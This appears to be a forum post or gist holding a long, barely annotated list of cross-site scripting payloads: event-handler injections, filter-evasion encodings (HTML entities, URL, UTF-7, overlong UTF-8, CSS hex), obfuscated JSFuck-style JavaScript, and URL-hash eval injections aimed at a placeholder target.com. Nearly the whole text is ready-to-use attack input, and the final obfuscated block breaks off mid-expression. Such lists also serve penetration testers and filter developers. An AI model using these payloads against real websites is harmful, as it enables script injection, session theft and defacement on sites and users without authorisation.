abdul1ah (2018-09-27 05:11:10+00:00): 
"/><img src=x onerror=prompt(documet.domain)>
"><img src=x omload=alert(/SZ/)>
"><svg/onload=alert(0)>
<img onerror=a&#0108ert(1) src=a>

%253cimg%20onerror=alert(1)%20src=a%253e

%3cimg onerror=alert(1) src=a%3e

<img onerror=alert(1) src=a>

«img onerror=alert(1) src=a»

<script>a\u006cert(1);</script>

<script>eval(‘a\u006cert(1)’);</script>

<script>eval(‘a\x6cert(1)’);</script>

<script>eval(‘a\154ert(1)’);</script>

<script>eval(‘a\l\ert\(1\)’);</script>

<script>eval(‘al’+’ert(1)’);</script>

<script>eval(String.fromCharCode(75,67,70));</script>

<script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>

<script>’alert(1)’.replace(/.+/,eval)</script>

<script>function::[‘alert’](1)</script>

<img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&#x29;&#x27;&#x29; src=a>

<script language=vbs>MsgBox 1</script>

<img onerror=”vbs:MsgBox 1” src=a>

<img onerror=MsgBox+1 language=vbs src=a>

<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>

<IMG ONERROR=”VBS:MSGBOX 1” SRC=A>

<script>execScript(“MsgBox 1”,”vbscript”);</script>

<script language=vbs>execScript(“alert(1)”)</script>

<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT>

<IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(1)’)” SRC=A>

<img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@” src=a>

<img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@” src=a>

<script>var a = ‘</script><script>alert(1)</script>

<scr%00ipt%20&message=> alert(‘kcf’)</script>

“<script>prompt(1)</script>

“;alert(1)//

‘-alert(1)-’

“<script>alert(1)</script>

“;prompt(1)//

‘-prompt(1)-’

<input type="text" AUTOFOCUS onfocus=alert(1)>

<script\x20type="text/javascript">javascript:alert(1);</script>

<script\x3Etype="text/javascript">javascript:alert(1);</script>

<script\x0Dtype="text/javascript">javascript:alert(1);</script>

<script\x09type="text/javascript">javascript:alert(1);</script>

<script\x0Ctype="text/javascript">javascript:alert(1);</script>

<script\x2Ftype="text/javascript">javascript:alert(1);</script>

<script\x0Atype="text/javascript">javascript:alert(1);</script>

'`"><\x3Cscript>javascript:alert(1)</script>        

'`"><\x00script>javascript:alert(1)</script>

<img src=1 href=1 onerror="javascript:alert(1)"></img>

<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

<video src=1 href=1 onerror="javascript:alert(1)"></video>

<body src=1 href=1 onerror="javascript:alert(1)"></body>

<image src=1 href=1 onerror="javascript:alert(1)"></image>

<object src=1 href=1 onerror="javascript:alert(1)"></object>

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>

<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>

<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>

<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>

<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>

<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>

<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>

<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>

<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>

<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>

<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>

<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>

<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>

<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>

<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>

<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>

<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>

<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>

<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>

<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>

<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>

<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>

<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>

<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>

<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>

<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>

<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>

<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>

<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>

<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>

<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>

<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>

<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>

<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>

<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>

<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>

<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>

<object onError object onError="javascript:javascript:alert(1)"></object onError>

<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>

<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>

<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>

<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>

<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>

<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>

<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>

<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>

<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>

<body onload body onload="javascript:javascript:alert(1)"></body onload>

<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>

<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>

<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>

<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>

<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>

<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>

<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>

<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>

<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>

<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>

\x3Cscript>javascript:alert(1)</script>

'"`><script>/* *\x2Fjavascript:alert(1)// */</script>

<script>javascript:alert(1)</script\x0D

<script>javascript:alert(1)</script\x0A

<script>javascript:alert(1)</script\x0B

<script charset="\x22>javascript:alert(1)</script>

<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->

--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->

`"'><img src='#\x27 onerror=javascript:alert(1)>

<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>

"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>

<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>

<script>/* *\x2A/javascript:alert(1)// */</script>

<script>/* *\x00/javascript:alert(1)// */</script>

<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>

<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>

"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF 

"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF 

<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>

<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>

<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>

'`"><\x3Cscript>javascript:alert(1)</script>

"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>

"'`><\x00img src=xxx:x onerror=javascript:alert(1)>

<script src="data:text/plain\x2Cjavascript:alert(1)"></script>

<script src="data:\xD4\x8F,javascript:alert(1)"></script>

<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>

<script src="data:\xCB\x8F,javascript:alert(1)"></script>

ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF

ABC<div style="x:expression\x5C(javascript:alert(1)">DEF

ABC<div style="x:expression\x00(javascript:alert(1)">DEF

ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF

ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF

ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF

ABC<div style="x:\x09expression(javascript:alert(1)">DEF

ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF

ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF

ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF

ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF

ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF

ABC<div style="x:\x20expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF

ABC<div style="x:\x00expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF

ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF

<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>

<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>

`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>

`"'><img src=xxx:x \x22onerror=javascript:alert(1)>

`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>

`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>

`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>

`"'><img src=xxx:x \x09onerror=javascript:alert(1)>

`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>

`"'><img src=xxx:x \x00onerror=javascript:alert(1)>

`"'><img src=xxx:x \x27onerror=javascript:alert(1)>

`"'><img src=xxx:x \x20onerror=javascript:alert(1)>

"`'><script>\x3Bjavascript:alert(1)</script>

"`'><script>\x0Djavascript:alert(1)</script>

"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>

"`'><script>\xE2\x80\x81javascript:alert(1)</script>

"`'><script>\xE2\x80\x84javascript:alert(1)</script>

"`'><script>\xE3\x80\x80javascript:alert(1)</script>

"`'><script>\x09javascript:alert(1)</script>

"`'><script>\xE2\x80\x89javascript:alert(1)</script>

"`'><script>\xE2\x80\x85javascript:alert(1)</script>

"`'><script>\xE2\x80\x88javascript:alert(1)</script>

"`'><script>\x00javascript:alert(1)</script>

"`'><script>\xE2\x80\xA8javascript:alert(1)</script>

"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>

"`'><script>\xE1\x9A\x80javascript:alert(1)</script>

"`'><script>\x0Cjavascript:alert(1)</script>

"`'><script>\x2Bjavascript:alert(1)</script>

"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>

"`'><script>-javascript:alert(1)</script>

"`'><script>\x0Ajavascript:alert(1)</script>

"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>

"`'><script>\x7Ejavascript:alert(1)</script>

"`'><script>\xE2\x80\x87javascript:alert(1)</script>

"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>

"`'><script>\xE2\x80\xA9javascript:alert(1)</script>

"`'><script>\xC2\x85javascript:alert(1)</script>

"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>

"`'><script>\xE2\x80\x83javascript:alert(1)</script>

"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>

"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>

"`'><script>\xE2\x80\x80javascript:alert(1)</script>

"`'><script>\x21javascript:alert(1)</script>

"`'><script>\xE2\x80\x82javascript:alert(1)</script>

"`'><script>\xE2\x80\x86javascript:alert(1)</script>

"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>

"`'><script>\x0Bjavascript:alert(1)</script>

"`'><script>\x20javascript:alert(1)</script>

"`'><script>\xC2\xA0javascript:alert(1)</script>

"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />

"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />

"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />

"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />

"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />

"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />

"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />

"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />

"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />

<script\x2F>javascript:alert(1)</script>

<script\x20>javascript:alert(1)</script>

<script\x0D>javascript:alert(1)</script>

<script\x0A>javascript:alert(1)</script>

<script\x0C>javascript:alert(1)</script>

<script\x00>javascript:alert(1)</script>

<script\x09>javascript:alert(1)</script>

`"'><img src=xxx:x onerror\x0B=javascript:alert(1)>

`"'><img src=xxx:x onerror\x00=javascript:alert(1)>

`"'><img src=xxx:x onerror\x0C=javascript:alert(1)>

`"'><img src=xxx:x onerror\x0D=javascript:alert(1)>

`"'><img src=xxx:x onerror\x20=javascript:alert(1)>

`"'><img src=xxx:x onerror\x0A=javascript:alert(1)>

`"'><img src=xxx:x onerror\x09=javascript:alert(1)>

<script>javascript:alert(1)<\x00/script>

<img src=# onerror\x3D"javascript:alert(1)" >

<video poster=javascript:javascript:alert(1)//

<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>

<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X

<video><source onerror="javascript:javascript:alert(1)">

<video onerror="javascript:javascript:alert(1)"><source>

<form><button formaction="javascript:javascript:alert(1)">X

<body oninput=javascript:alert(1)><input autofocus>

<math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://127.0.0.1:3555/xss_serve_payloads/kcf.html" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>

<frameset onload=javascript:alert(1)>

<table background="javascript:javascript:alert(1)">

<!--<img src="--><img
----------------------------

<sCrIpt>alert(1)</ScRipt>

\<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>

<img src=’1′ onerror\x00=alert(0) />

<img src=’1′ onerror/=alert(0) />

<img src=’1′ onerror\x0b=alert(0) />

<img src=’1′ onerror=\x00alert(0) />

<\x00img src=’1′ onerror=alert(0) />

<script\x00>alert(1)</script>

<i\x00mg src=’1′ onerror=alert(0) />

<img/src=’1’/onerror=alert(0)>

<img\x0bsrc=’1’\x0bonerror=alert(0)>

<img src=’1”onerror=’alert(0)’>
<img src=’1′”onerror=”alert(0)”>

<img src=’1’\x00onerror=alert(0)>

<img src=’1’onerror=alert(0)>
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src=”\x01javascript:alert(0)”></iframe> <!– Example for Chrome –>

<img src=’1′ onerror=’alert(0)’ <

<<script>alert(0)</script>

<style>body{background-color:expression\(alert(1))}</style>

<script>document.write(‘<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>’);</script>

HTML Encoding
<img src=”1″ onerror=”alert(1)” />
<img src=”1″ onerror=”&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;” />
<iframe src=”javascript:alert(1)”></iframe>
<iframe src=”&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”></iframe>

URL Encoding
<iframe src=”javascript:alert(1)”></iframe>
<iframe src=”javascript:%61%6c%65%72%74%28%31%29″></iframe>

CSS Hexadecimal Encoding
<div style=”x:expression(alert(1))”>Joker</div>
<div style=”x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))”>Joker</div>
<div style=”x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))”>Joker</div>
<div style=”x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029″>Joker</div>

JavaScript
<script>document.write(‘<img src=1 onerror=alert(1)>’);</script>
<script>document.write(‘\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E’);</script>
<script>document.write(‘\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076’);</script>
<script>document.write(‘\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E’);</script>

JavaScript
<script>document.write(‘<img src=1 onerror=alert(1)>’);</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>

JavaScript
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

Overlong UTF-8
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
‘ = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
” = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

<img src=”1″ onnerror=”alert(1)”>
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE

UTF-7 (Missing charset?)
<img src=”1″ onerror=”alert(1)” />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e

Classic ASP
<img src=”1″ onerror=”alert(‘1’)”>
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A

and/or Useful features.
HTML 5 (Not comphrensive)
<video src=”http://www.w3schools.com/html5/movie.ogg” onloadedmetadata=”alert(1)” />
<video src=”http://www.w3schools.com/html5/movie.ogg” onloadstart=”alert(1)” />

Usuage of non-existent elements
<blah style=”blah:expression(alert(1))” />

CSS Comments
<div style=”z:exp/*anything*/res/*here*/sion(alert(1))” />

JavaScript functions
<script>window[‘alert’](0)</script>
<script>parent[‘alert’](1)</script>
<script>self[‘alert’](2)</script>
<script>top[‘alert’](3)</script>

JavaScript into HTML
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>

<script>
var junk = ‘</script><script>alert(1)</script>’;
</script>

HTML CSS
<style>
body { background-image:url(‘http://www.blah.com/</style><script>alert(1)</script>’); }
</style>

XML documents
<?xml version=”1.0″ ?>
<someElement>
<a xmlns:a=’http://www.w3.org/1999/xhtml’><a:body onload=’alert(1)’/></a>
</someElement>

URI Schemes
<iframe src=”javascript:alert(1)”></iframe>
<iframe src=”vbscript:msgbox(1)”></iframe> (IE)
<iframe src=”data:text/html,<script>alert(0)</script>”></iframe> (Firefox, Chrome, Safari)
<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe> (Firefox, Chrome, Safari)

HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2

<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)

http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
<iframe src=”http://target.com/something.jsp?inject=<script>eval(name)</script>” name=”alert(1)”></iframe>

<script>
$=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+$.$_$_+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$$_+$._$_+$.__+”(“+$.___+”)”+”\””)())();
</script>

<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]